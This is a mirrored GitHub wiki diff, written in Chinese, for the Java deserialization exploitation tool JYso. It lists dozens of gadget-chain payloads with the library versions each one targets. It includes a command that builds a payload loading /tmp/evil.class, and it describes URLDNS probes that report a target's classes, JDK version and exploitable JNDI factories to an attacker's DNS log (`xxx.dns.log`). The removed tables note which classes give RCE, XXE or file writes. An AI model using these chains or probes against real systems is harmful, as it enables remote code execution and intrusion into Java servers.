mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 16:21:52 +08:00
Updated 6、Gadget (markdown)
炁
+113
-166
@@ -1,109 +1,111 @@
|
||||
# 使用参数和链子
|
||||
|
||||
```text7
|
||||
[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
|
||||
[root]#~ Available payload types:
|
||||
Payload Authors Dependencies
|
||||
------- ------- ------------
|
||||
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||
BeanShell2 @killer bsh:2.0b1
|
||||
BindingEnumeration
|
||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||
C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35
|
||||
C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9
|
||||
C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30
|
||||
C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11
|
||||
C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0RefDataSource
|
||||
C3P0WrapperConnPool
|
||||
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
|
||||
Clojure @JackOfMostTrades clojure:1.8.0
|
||||
cb160 commons-beanutils:1.6.0
|
||||
cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
||||
cb1183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb2183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb3183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
CommonsBeanutilsAttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
CommonsBeanutilsAttrCompare192 @水滴 commons-beanutils:1.9.2
|
||||
CommonsBeanutilsJDBC @QI4L commons-beanutils:1.9.2
|
||||
CommonsBeanutilsJNDI commons-beanutils:1.9.2, commons-collections:3.1
|
||||
CommonsBeanutilsObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X
|
||||
CommonsBeanutilsObjectToStringComparator192 @水滴 commons-beanutils:1.9.2, commons-lang3:3.10
|
||||
CommonsBeanutilsPropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
CommonsBeanutilsPropertySource192 @SummerSec commons-beanutils:1.9.2
|
||||
cc1 @frohoff commons-collections:3.1
|
||||
cc2 @frohoff commons-collections4:4.0
|
||||
cc3 @frohoff commons-collections:3.1
|
||||
cc4 @frohoff commons-collections4:4.0
|
||||
cc4_17
|
||||
cc5 @matthias_kaiser, @jasinner commons-collections:3.1
|
||||
cc6 @matthias_kaiser commons-collections:3.1
|
||||
cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
|
||||
cc8 @navalorenzo commons-collections4:4.0
|
||||
cc9 @梅子酒 commons-collections:3.2.1
|
||||
cc10 commons-collections:3.2.1
|
||||
cc11
|
||||
cc12 @Jayl1n commons-collections:3.2.1
|
||||
cc13 @Unam4 commons-collections:3.1
|
||||
ccK1 commons-collections:3.1
|
||||
ccK2 commons-collections:4.0
|
||||
ccK3 @matthias_kaiser commons-collections:3.1
|
||||
ccK4 @matthias_kaiser commons-collections:4.0
|
||||
Fastjson1
|
||||
Fastjson2
|
||||
FileUpload1
|
||||
Groovy
|
||||
Groovy1 @frohoff groovy:2.3.9
|
||||
Groovy2 @Unam4 groovy <2.4.3
|
||||
Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X
|
||||
ImageIO
|
||||
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JRE8u20 @frohoff
|
||||
JRE8u20_2
|
||||
JRMPClient @mbechler
|
||||
JRMPClient_Activator @mbechler
|
||||
JRMPClient_Obj @mbechler
|
||||
JRMPListener @mbechler
|
||||
Payload Authors Dependencies
|
||||
------- ------- ------------
|
||||
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||
BeanShell2 @killer bsh:2.0b1
|
||||
BindingEnumeration
|
||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||
C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35
|
||||
C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9
|
||||
C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30
|
||||
C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11
|
||||
C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0RefDataSource
|
||||
C3P0WrapperConnPool
|
||||
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
|
||||
Clojure @JackOfMostTrades clojure:1.8.0
|
||||
CommonsBeanutilsAttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
CommonsBeanutilsAttrCompare192 @水滴 commons-beanutils:1.9.2
|
||||
CommonsBeanutilsJDBC @QI4L commons-beanutils:1.9.2
|
||||
CommonsBeanutilsJNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1
|
||||
CommonsBeanutilsObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X
|
||||
CommonsBeanutilsObjectToStringComparator192 @水滴 commons-beanutils:1.9.2, commons-lang3:3.10
|
||||
CommonsBeanutilsPropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
CommonsBeanutilsPropertySource192 @SummerSec commons-beanutils:1.9.2
|
||||
Fastjson1
|
||||
Fastjson2
|
||||
FileUpload1
|
||||
Groovy
|
||||
Groovy1 @frohoff groovy:2.3.9
|
||||
Groovy2 @Unam4 groovy <2.4.3
|
||||
Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X
|
||||
ImageIO
|
||||
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JRE8u20 @frohoff
|
||||
JRE8u20_2
|
||||
JRMPClient @mbechler
|
||||
JRMPClient_Activator @mbechler
|
||||
JRMPClient_Obj @mbechler
|
||||
JRMPListener @mbechler
|
||||
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
|
||||
Jackson1
|
||||
Jackson2
|
||||
Jackson3
|
||||
Jackson4
|
||||
JacksonLdapAttr
|
||||
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JdbcRowSet
|
||||
Jdk7u21 @frohoff
|
||||
Jdk7u21variant @potats0
|
||||
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
||||
LazySearchEnumeration
|
||||
MozillaRhino1 @matthias_kaiser js:1.7R2
|
||||
MozillaRhino2 @_tint0 js:1.7R2
|
||||
Myfaces1 @mbechler
|
||||
Myfaces2
|
||||
ROME @mbechler rome:1.0
|
||||
ROME2 rome:1.0
|
||||
ROME3 @Firebasky rome:1.0
|
||||
ROMEJDBC
|
||||
RenderedImage jai-codec-1.1.3
|
||||
Resin
|
||||
ServiceLoader
|
||||
SignedObject
|
||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||
Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
|
||||
SpringAbstractBeanFactoryPointcutAdvisor
|
||||
SpringPartiallyComparableAdvisorHolder
|
||||
SpringPropertyPathFactory
|
||||
URLDNS @gebl
|
||||
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
Xbean
|
||||
Jackson1
|
||||
Jackson2
|
||||
Jackson3 @jsjcw 6.2.10
|
||||
Jackson4 @QI4L 6.2.10
|
||||
JacksonLdapAttr
|
||||
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JdbcRowSet
|
||||
Jdk7u21 @frohoff
|
||||
Jdk7u21variant @potats0
|
||||
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
||||
LazySearchEnumeration
|
||||
MozillaRhino1 @matthias_kaiser js:1.7R2
|
||||
MozillaRhino2 @_tint0 js:1.7R2
|
||||
Myfaces1 @mbechler
|
||||
Myfaces2
|
||||
ROME @mbechler rome:1.0
|
||||
ROME2 rome:1.0
|
||||
ROME3 @Firebasky rome:1.0
|
||||
ROMEJDBC
|
||||
RenderedImage jai-codec-1.1.3
|
||||
Resin
|
||||
ServiceLoader
|
||||
SignedObject
|
||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||
Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
|
||||
SpringAbstractBeanFactoryPointcutAdvisor
|
||||
SpringPartiallyComparableAdvisorHolder
|
||||
SpringPropertyPathFactory
|
||||
URLDNS @gebl
|
||||
UnixPrintService
|
||||
UnixPrintServiceLookup
|
||||
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
Xbean
|
||||
cb1183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb160 commons-beanutils:1.6.0
|
||||
cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
||||
cb2183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb3183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cc1 @frohoff commons-collections:3.1
|
||||
cc10 commons-collections:3.2.1
|
||||
cc11
|
||||
cc12 @Jayl1n commons-collections:3.2.1
|
||||
cc13 @Unam4 commons-collections:3.1
|
||||
cc2 @frohoff commons-collections4:4.0
|
||||
cc3 @frohoff commons-collections:3.1
|
||||
cc4 @frohoff commons-collections4:4.0
|
||||
cc4_17 @jiecub3
|
||||
cc5 @matthias_kaiser, @jasinner commons-collections:3.1
|
||||
cc6 @matthias_kaiser commons-collections:3.1
|
||||
cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
|
||||
cc8 @navalorenzo commons-collections4:4.0
|
||||
cc9 @梅子酒 commons-collections:3.2.1
|
||||
cck1 commons-collections:3.1
|
||||
cck2 commons-collections:4.0
|
||||
cck3 @matthias_kaiser commons-collections:3.1
|
||||
cck4 @matthias_kaiser commons-collections:4.0
|
||||
springFs
|
||||
|
||||
|
||||
|
||||
@@ -234,70 +236,7 @@ java -jar JYso-[version].jar -y -g cc3 -p LF-/tmp/evil.class -f cc3.ser
|
||||
|
||||
# URLDNS 探测目标类
|
||||
|
||||
为了解决有反序列化利用点但是无链可用的状态，本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本，主要包含如下表格中的内容：
|
||||
|
||||
| DNSLOG 关键字 | 对应链 | 关键类 | 备注 |
|
||||
|---------------------------------------------|-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------|
|
||||
| cc31or321<br />cc322 | CommonsCollections13567 | org.apache.commons.collections.functors.ChainedTransformer<br />org.apache.commons.collections.ExtendedProperties$1 | CommonsCollections1/3/5/6/7<br />需要<=3.2.1版本 |
|
||||
| cc40<br />cc41 | CommonsCollections24 | org.apache.commons.collections4.functors.ChainedTransformer<br />org.apache.commons.collections4.FluentIterable | CommonsCollections2/4链<br />需要4-4.0版本 |
|
||||
| cb17<br />cb18x<br />cb19x | CommonsBeanutils2 | org.apache.commons.beanutils.MappedPropertyDescriptor\$1<br />org.apache.commons.beanutils.DynaBeanMapDecorator\$MapEntry<br />org.apache.commons.beanutils.BeanIntrospectionData | 1.7x-1.8x为-3490850999041592962<br />1.9x为-2044202215314119608 |
|
||||
| c3p092x<br />c3p095x | C3P0 | com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase<br />com.mchange.v2.c3p0.test.AlwaysFailDataSource | 0.9.2pre2-0.9.5pre8为7387108436934414104<br />0.9.5pre9-0.9.5.5为7387108436934414104 |
|
||||
| ajw | AspectJWeaver | org.aspectj.weaver.tools.cache.SimpleCache | AspectJWeaver,需要cc31 |
|
||||
| bsh20b4<br />bsh20b5<br />bsh20b6 | bsh | bsh.CollectionManager\$1<br />bsh.engine.BshScriptEngine<br />bsh.collection.CollectionIterator\$1 | 2.0b4为4949939576606791809<br />2.0b5为4041428789013517368<br />2.0.b6无法反序列化 |
|
||||
| groovy1702311<br />groovy24x<br />groovy244 | Groovy | org.codehaus.groovy.reflection.ClassInfo\$ClassInfoSet<br />groovy.lang.Tuple2<br />org.codehaus.groovy.runtime.dgm\$1170 | 2.4.x为-8137949907733646644<br />2.3.x为1228988487386910280 |
|
||||
| becl | Becl | com.sun.org.apache.bcel.internal.util.ClassLoader | JDK<8u251 |
|
||||
| Jdk7u21 | Jdk7u21 | com.sun.corba.se.impl.orbutil.ORBClassLoader | JDK<=7u21 |
|
||||
| JRE8u20 | JRE8u20 | javax.swing.plaf.metal.MetalFileChooserUI\$DirectoryComboBoxModel\$1 | 7u25<=JDK<=8u20<br />这个检测不完美,8u25版本以及JDK<=7u21会误报<br />可综合Jdk7u21来看 |
|
||||
| linux<br />windows | winlinux | sun.awt.X11.AwtGraphicsConfigData<br />sun.awt.windows.WButtonPeer | windows/linux版本判断 |
|
||||
| jackson2100 | jackson | com.fasterxml.jackson.databind.node.NodeSerialization | |
|
||||
| ROME | ROME | com.sun.syndication.feed.impl.ToStringBean<br />com.rometools.rome.feed.impl.ObjectBean | |
|
||||
| SpringAOP | fastjon<br /> jackson | org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource | |
|
||||
| fastjson | fastjon | com.alibaba.fastjson.JSONArray | |
|
||||
| jdk17_22 | | jdk.internal.util.random.RandomSupport | |
|
||||
| jdk9_22 | | jdk.internal.misc.Unsafe | |
|
||||
| jdk6_8 | | sun.misc.BASE64Decoder | |
|
||||
| jdk6_11 | | com.sun.awt.SecurityWarning | |
|
||||
| jdk9_10 | | jdk.incubator.http.HttpClient | |
|
||||
| | all | | 全部检测 |
|
||||
| | jndiall | | |
|
||||
|
||||
| jndiall 关键类 | 说明 |
|
||||
|------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------|
|
||||
| org.apache.naming.factory.BeanFactory | 最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法 |
|
||||
| org.apache.catalina.filters.<br/>CsrfPreventionFilter$NonceCache | tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString |
|
||||
| javax.el.ELProcessor | 和BeanFactory最经典的配合 |
|
||||
| org.yaml.snakeyaml.Yaml | 知名YAML序列化,可以跟BeanFactory配合 |
|
||||
| com.thoughtworks.xstream.XStream | 知名XML序列化,可以跟BeanFactory配合 |
|
||||
| org.mvel2.sh.ShellSession | mvel语法,可以跟BeanFactory配合 |
|
||||
| org.apache.tomcat.jdbc.naming.<br/>GenericNamingResourcesFactory | 高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性 |
|
||||
| org.apache.commons.configuration.<br/>SystemConfiguration | 配合GenericNamingResourcesFactory可以篡改jdk环境变量 |
|
||||
| org.apache.commons.configuration2.<br/>SystemConfiguration | 配合GenericNamingResourcesFactory可以篡改jdk环境变量 |
|
||||
| org.apache.groovy.util.SystemUtil | groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量 |
|
||||
| org.apache.batik.swing.JSVGCanvas | 远程加载svg造成XSS,XXE,RCE |
|
||||
| org.apache.catalina.users.<br/>MemoryUserDatabaseFactory | 配合UserDatabase可以XXE,写文件 |
|
||||
| org.apache.catalina.UserDatabase | 配合MemoryUserDatabaseFactory可以XXE,写文件 |
|
||||
| org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory | 以下均为DataSourceFactory,可以造成jdbc |
|
||||
| org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory | |
|
||||
| org.apache.commons.dbcp.BasicDataSourceFactory | |
|
||||
| org.apache.commons.dbcp2.BasicDataSourceFactory | |
|
||||
| org.apache.tomcat.jdbc.pool.DataSourceFactory | |
|
||||
| com.alibaba.druid.pool.DruidDataSourceFactory | |
|
||||
| com.zaxxer.hikari.HikariJNDIFactory | |
|
||||
| org.h2.Driver | h2 jdbc,可以RCE |
|
||||
| org.postgresql.Driver | postgresql,可以远程加载XML执行SPEL,可以写文件 |
|
||||
| org.springframework.context.support.<br/>ClassPathXmlApplicationContext | postgresql RCE依赖spring环境 |
|
||||
| com.mysql.jdbc.Driver | mysql,可以二次反序列化,可以读文件,可以XXE |
|
||||
| com.mysql.cj.jdbc.Driver | |
|
||||
| com.mysql.fabric.jdbc.FabricMySQLDriver | |
|
||||
| oracle.jdbc.driver.OracleDriver | oracle,可以带出机器用户名 |
|
||||
| com.ibm.db2.jcc.DB2Driver | db2,可以写文件 |
|
||||
| COM.ibm.db2.jcc.DB2Driver | |
|
||||
| com.ibm.ws.webservices.engine.client.<br/>ServiceFactory | WebSphere的ObjectFactory,可以远程加载jar,很少用到 |
|
||||
| com.ibm.ws.client.applicationclient.<br/>ClientJ2CCFFactory | |
|
||||
| oracle.ucp.jdbc.PoolDataSourceImpl | 反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖 |
|
||||
| org.hibernate.service.jdbc.connections.<br/>internal.DriverManagerConnectionProviderImpl | hibernate-core-4.x,比较低版本才有的类 |
|
||||
|
||||
本项目参考了 kezibei 师傅的 URLDNS 项目，实际情况可能有如下几种情况导致问题：
|
||||
为了解决有反序列化利用点但是无链可用的状态，本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本：
|
||||
|
||||
- 反序列时遇到黑名单，可能导致后面的类的 dnslog 出不来；
|
||||
- 反序列化流程中由于种种情况报错可能导致出不来。
|
||||
@@ -305,7 +244,15 @@ java -jar JYso-[version].jar -y -g cc3 -p LF-/tmp/evil.class -f cc3.ser
|
||||
因此这里还是提供了 all/common/指定类 三种探测方式：
|
||||
|
||||
- all：探测全部的类；
|
||||
- common：探测不常在黑名单中的 CommonsBeanutils2/C3P0/AspectJWeaver/bsh/winlinux；
|
||||
- os: 探测系统
|
||||
- cc: 探测cc链
|
||||
- cb: 探测cb链
|
||||
- db: 探测数据库Driver
|
||||
- jndiAttack: 探测JNDI可利用的类
|
||||
- datasource: 探测数据源工厂类, 适用于JNDI中BeanFactory无法使用的场景
|
||||
- jdk: 探测jdk版本以及jdk自带的链
|
||||
- web: 探测中间件
|
||||
- other: 探测其他
|
||||
- 指定类：使用对应链中的关键字 cc4:xxxx.dns.log 。
|
||||
|
||||
示例：`all:xxx.dns.log`
|
||||
|
||||
Reference in New Issue
Block a user